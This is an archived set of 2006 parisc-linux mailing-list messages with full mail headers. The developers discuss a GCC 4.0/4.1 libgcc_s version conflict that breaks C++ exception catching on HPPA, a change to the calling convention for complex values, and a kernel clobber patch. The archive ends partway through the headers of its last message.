Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Apr 2006 17:01:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx015) with SMTP; 22 Apr 2006 19:01:20 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4AD057D763;
	Sat, 22 Apr 2006 11:01:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01661-05; Sat, 22 Apr 2006 11:01:16 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ED43C7D766;
	Sat, 22 Apr 2006 11:01:14 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 289957D75E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Apr 2006 11:01:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01661-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Apr 2006 11:01:10 -0600 (MDT)
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by free.linux.hp.com (Postfix) with ESMTP id D9E1A7D754
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Apr 2006 11:01:09 -0600 (MDT)
Original-Received: from mailhost.cs.tu-berlin.de (postfix@mail.cs.tu-berlin.de
	[130.149.17.13])
	by mail.cs.tu-berlin.de (8.9.3p2/8.9.3) with ESMTP id TAA07068;
	Sat, 22 Apr 2006 19:01:02 +0200 (MEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP id 83130F219;
	Sat, 22 Apr 2006 19:01:02 +0200 (MEST)
Original-Received: from mailhost.cs.tu-berlin.de ([127.0.0.1])
	by localhost (mail.cs.tu-berlin.de [127.0.0.1]) (amavisd-new,
	port 10224)
	with ESMTP id 02493-18; Sat, 22 Apr 2006 19:00:57 +0200 (MEST) 12686
Original-Received: from bolero.cs.tu-berlin.de (bolero.cs.tu-berlin.de [130.149.19.1])
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP;
	Sat, 22 Apr 2006 19:00:57 +0200 (MEST)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.13.6+Sun/8.12.8/Submit) id k3MH0vbH004364; 
	Sat, 22 Apr 2006 19:00:57 +0200 (MEST)
In-Reply-To: <200604221558.k3MFwOIs010589@hiauly1.hia.nrc.ca>
X-Mailer: VM 7.17 under 21.4 (patch 17) "Jumbo Shrimp" XEmacs Lucid
X-Virus-Scanned: by amavisd-new at cs.tu-berlin.de
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: LhQrIB8Oa0Aovr6aejEzMzQ3Njh6dA6j
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23605

John David Anglin writes:
> > > smr@paer:~/gmp-4.2.dfsg/tests/cxx$ g++ -Wall test-throw.cc && ./a.out
> > > /usr/bin/ld: warning: libgcc_s.so.4, needed by /usr/lib/gcc/hppa-linux-gnu/4.0.3/libstdc++.so, may conflict with libgcc_s.so.2
> 
> I'm puzzled about this.  It seems like libstdc++ for GCC 4.0.3 was
> built using GCC 4.1 or latter.  In my 4.0.3 build, I see:
> 
> dave@gsyprf11:~/gcc-4.0/objdir/hppa-linux/libstdc++-v3/src/.libs$ ldd libstdc++.so
>         libm.so.6 => /lib/libm.so.6 (0x40643000)
> 	libgcc_s.so.2 => /lib/libgcc_s.so.2 (0x4034a000)
> 	libc.so.6 => /lib/libc.so.6 (0x40a57000)
> 	/lib/ld.so.1 (0x41252000)
> 
> But:
> 
> dave@gsyprf11:~/gcc-4.0/objdir/hppa-linux/libstdc++-v3/src/.libs$ ldd /usr/lib/gcc/hppa-linux-gnu/4.0.3/libstdc++.so
>         libm.so.6 => /lib/libm.so.6 (0x40243000)
> 	libgcc_s.so.4 => /lib/libgcc_s.so.4 (0x40746000)
> 	libc.so.6 => /lib/libc.so.6 (0x40a57000)
> 	/lib/ld.so.1 (0x41252000)
> 
> You need to build 4.0.3 and associated libraries with 4.0.3.

Yes, we do, but

$ ls -l /usr/lib/gcc/hppa-linux-gnu/4.0.3/libstdc++.so
lrwxr-xr-x 1 root root 23 Apr  6 02:08 /usr/lib/gcc/hppa-linux-gnu/4.0.3/libstdc++.so -> ../../../libstdc++.so.6

we can only have one libstdc++.so.6 installed. that's currently the
library from 4.1. So maybe we need to bump the soversion of libstdc++
on hppa?

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Bug#364231: [parisc-linux] Re: Bug#364231: exception catching
	broken on HPPA
Date: Sat, 22 Apr 2006 14:35:48 -0400 (EDT)
Lines: 37
Approved: news@gmane.org
Message-ID: <200604221835.k3MIZm7n011609__33887.7884824344$1416624064$gmane$org@hiauly1.hia.nrc.ca>
References: <17482.24905.713197.434153@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624064 19075 80.91.229.3 (22 Nov 2014 02:41:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:04 +0000 (UTC)
Cc: steven.robbins@videotron.ca,
 364231@bugs.debian.org,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: doko@cs.tu-berlin.de (Matthias Klose)
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Apr 2006 18:36:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 22 Apr 2006 20:36:34 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 45EFC7D771;
	Sat, 22 Apr 2006 12:36:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02476-01; Sat, 22 Apr 2006 12:36:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2D6B77D76D;
	Sat, 22 Apr 2006 12:36:28 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4F55C7D76B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Apr 2006 12:36:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02038-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Apr 2006 12:36:24 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 4CAB67D76A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Apr 2006 12:36:24 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k3MIZmEk011611;
	Sat, 22 Apr 2006 14:35:49 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k3MIZm7n011609;
	Sat, 22 Apr 2006 14:35:48 -0400 (EDT)
In-Reply-To: <17482.24905.713197.434153@gargle.gargle.HOWL> from "Matthias
	Klose" at Apr 22, 2006 07:00:57 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 3BooED5PbXBtrLqHPTQ2ODYqLyUmZQhW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23606

> Yes, we do, but
> 
> $ ls -l /usr/lib/gcc/hppa-linux-gnu/4.0.3/libstdc++.so
> lrwxr-xr-x 1 root root 23 Apr  6 02:08 /usr/lib/gcc/hppa-linux-gnu/4.0.3/libstdc++.so -> ../../../libstdc++.so.6

Oh, I was thinking there were separate libraries for each GCC version.
I've had to live with this for some time using hpux.

> we can only have one libstdc++.so.6 installed. that's currently the
> library from 4.1. So maybe we need to bump the soversion of libstdc++
> on hppa?

To me, that seems too complicated.  It's not just libstdc++.so.6 but
potentially every shared library built with 4.1 or later needs a bump.

The simplest approach is to make GCC 4.1 the default and remove 4.0
and earlier.  Then, gradually rebuild everthing with 4.1.  There have
been reports on the gcc list that this has been reasonably successful.

I imagine that some will complain about losing their favorite GCC
version.  The issues with C are less severe because of the libgcc_s
version bump.  Old versions will generate code that's incompatible
with the complex math routines in libc6 but they should otherwise
work.  I think for kernel building it's useful to keep old versions,
but not for much else.  Thus, the compromise may be to keep old
versions of C and drop all the other languages.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Added clobbers to unaligned.c and uaccess.h
Date: Sat, 22 Apr 2006 16:49:34 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <119aab440604221349l237e430cqda2043b255fcbdd8@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624064 19079 80.91.229.3 (22 Nov 2014 02:41:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:04 +0000 (UTC)
To: "Joel Soete" <soete.joel@tiscali.be>,
 "Parisc List" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Apr 2006 20:49:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx056) with SMTP; 22 Apr 2006 22:49:44 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3138C7D774;
	Sat, 22 Apr 2006 14:49:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03156-07; Sat, 22 Apr 2006 14:49:40 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EA8FF7D775;
	Sat, 22 Apr 2006 14:49:38 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 28D117D773
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Apr 2006 14:49:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03109-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Apr 2006 14:49:35 -0600 (MDT)
Original-Received: from nz-out-0102.google.com (nz-out-0102.google.com [64.233.162.203])
	by free.linux.hp.com (Postfix) with ESMTP id 480947D76D
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Apr 2006 14:49:35 -0600 (MDT)
Original-Received: by nz-out-0102.google.com with SMTP id q3so825086nzb
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Apr 2006 13:49:34 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition;
	b=kjKsraCtTb72SmuJ6IdwfaEVwB1ztoxMuE2K/+c/UKtDMecptKxewok7Fy6e5oHwXOfCF1BTbB6zxHXy9nfaGlJKfinZqhfKPHl0l3cQREzjL5StIfHoDlQ8JL1dGeiHo1bF7OVW1HlsQvrA5zrkxd6jkWnD4FzodHHTY6XhF+A=
Original-Received: by 10.36.251.22 with SMTP id y22mr4418911nzh;
	Sat, 22 Apr 2006 13:49:34 -0700 (PDT)
Original-Received: by 10.36.72.10 with HTTP; Sat, 22 Apr 2006 13:49:34 -0700 (PDT)
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: u+IvNBAOZCEXvbGPamwhd2FwIGhpZUYJ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23607

Joel,

Patch to add the extra clobbers checked into CVS.
Thanks for all the work!

What's your next project? ;-)

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Bug#364231: exception catching broken on HPPA
Date: Sat, 22 Apr 2006 11:22:20 -0400 (EDT)
Lines: 58
Approved: news@gmane.org
Message-ID: <200604221522.k3MFMKpi010218__3809.54022189162$1416624065$gmane$org@hiauly1.hia.nrc.ca>
References: <20060422084136.GC22720@mauritius.dodds.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624065 19082 80.91.229.3 (22 Nov 2014 02:41:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:05 +0000 (UTC)
Cc: steven.robbins@videotron.ca,
 364231@bugs.debian.org,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: vorlon@debian.org (Steve Langasek)
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Apr 2006 15:23:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx006) with SMTP; 22 Apr 2006 17:23:43 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 651EB7D749;
	Sat, 22 Apr 2006 09:23:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32553-07; Sat, 22 Apr 2006 09:23:38 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 135007D74A;
	Sat, 22 Apr 2006 09:23:37 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 739697D748
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Apr 2006 09:23:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32553-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Apr 2006 09:23:33 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 8A3E77D747
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Apr 2006 09:23:32 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k3MFML46010221;
	Sat, 22 Apr 2006 11:22:21 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k3MFMKpi010218;
	Sat, 22 Apr 2006 11:22:20 -0400 (EDT)
In-Reply-To: <20060422084136.GC22720@mauritius.dodds.net> from "Steve
	Langasek" at Apr 22, 2006 01:41:36 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: s3x/dQAHbUko7+nGPWgndHJkZ2hlN4pg
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23608

> On Sat, Apr 22, 2006 at 10:00:04AM +0200, Matthias Klose wrote:
> > $ ldd a.out
> >         libstdc++.so.6 =3D> /usr/lib/libstdc++.so.6 (0x40575000)
> >         libm.so.6 =3D> /lib/libm.so.6 (0x4046e000)
> >         libgcc_s.so.2 =3D> /lib/libgcc_s.so.2 (0x40068000)
> >         libc.so.6 =3D> /lib/libc.so.6 (0x4074b000)
> >         libgcc_s.so.4 =3D> /lib/libgcc_s.so.4 (0x40015000)
> >         /lib/ld.so.1 (0x400e1000)
> 
> > We end up with both libgcc_s.so.2 and libgcc_s.so.4 linked.  Is there
> > a solution other than making gcc-4.1/g++-4.1 the default and
> > rebuilding the libstdc++6 dependent packages with binary NMU's?
> 
> I guess having gcc-4.0 link against libgcc4 is out of the question?

Doing so is not a good idea, but it's only going to break numeric
applications using complex numbers and possibly vectors.

The calling conventions for passing complex values was changed between
4.0 and 4.1 when it was discovered that it didn't conform to the runtime
documentation.  Support for complex and vector objects was added to GCC
some time ago.  However noone noticed that these values weren't being
passed correctly...

The change affects the routines __muldc3, __mulsc3, __divdc3 and __divsc3
in libgcc_s.  It also affects any package/library using complex numbers,
including glibc since the registers used for passing the first few
arguments and the return value have changed.  Particularly, complex
floats are no longer passed in the floating registers.

I think the approach suggested by Matthias is ultimately the only
viable solution but the impact is broader than the libstdc++6 dependent
packages.  The situation is similar to that when DWARF EH support was
introduced.  The only other option that I can see is to delay 4.1.
However, I would like 4.1 to become the default.

For the most part, the passing of complex values in 4.0 and earlier
is internally self-consistent (there's a minor incompatibility between
PA 1.0 code and PA 1.1 code due to the fact that the left and right
halves of floating-point registers are not independently accessible
when generating PA 1.0 code).

I recognized that this was going to cause pain, and brought the matter
up for discussion on the parisc-linux list a few months ago.  There
wasn't much in the way of comments for or against.  In the end, I
decided it was probably better to make the change in 4.1 and let time
smooth over the difficulties.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Does it lakes some cloberred r1 in
Date: Sat, 22 Apr 2006 12:48:02 -0400 (EDT)
Lines: 45
Approved: news@gmane.org
Message-ID: <200604221648.k3MGm2MW010955@hiauly1.hia.nrc.ca>
References: <20060422154641.GC10514@quicksilver.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624065 19086 80.91.229.3 (22 Nov 2014 02:41:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Apr 2006 16:48:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx080) with SMTP; 22 Apr 2006 18:48:13 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BCBB57D766;
	Sat, 22 Apr 2006 10:48:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01249-07; Sat, 22 Apr 2006 10:48:08 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5DE177D760;
	Sat, 22 Apr 2006 10:48:07 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B090F7D75D
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Apr 2006 10:48:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01282-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Apr 2006 10:48:04 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 79FB97D75C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Apr 2006 10:48:04 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k3MGm23e010957;
	Sat, 22 Apr 2006 12:48:03 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k3MGm2MW010955;
	Sat, 22 Apr 2006 12:48:02 -0400 (EDT)
In-Reply-To: <20060422154641.GC10514@quicksilver.road.mcmartin.ca> from "Kyle
	McMartin" at Apr 22, 2006 11:46:41 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
